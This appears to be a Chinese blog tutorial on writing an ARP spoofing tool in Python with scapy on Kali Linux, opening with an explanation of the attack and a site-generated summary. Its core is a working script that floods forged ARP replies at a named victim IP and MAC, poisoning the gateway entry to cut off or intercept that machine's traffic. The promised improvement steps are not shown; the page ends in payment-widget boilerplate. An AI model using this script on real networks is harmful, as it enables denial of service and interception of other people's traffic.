Python编写简单的ARP欺骗工具

本文介绍了ARP欺骗的概念,详细讲解了如何使用Python编写简单的ARP欺骗工具,包括发包和改进的步骤,并探讨了其工作原理。所需工具包括Python3(安装scapy包)和Wireshark,操作系统选用Kali Linux。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是ARP欺骗?

是针对ARP协议的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

工具准备

软件:Python3(已安装scapy包)

如果未安装可使用pip install scapy命令安装

Wireshark(用于抓包)

操作系统:这里我采用Kali Linux

开始编写

第一步,发包

#!/usr/bin/python3
# -*- coding: UTF-8 -*-

from scapy.all import *
arp = Ether(dst="50:46:5D:5A:F1:68")/ARP(psrc="192.168.1.1",hwsrc="ff:ff:ff:ff:ff:ff",pdst="192.168.1.104",hwdst="50:46:5D:5A:F1:68",op=2)
'''
dst和hwdst是被攻击的设备的MAC地址
psrc是网关IP
hwsrc是伪造网关的MAC地址
'''
while True:
    sendp(arp)

运行结果:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值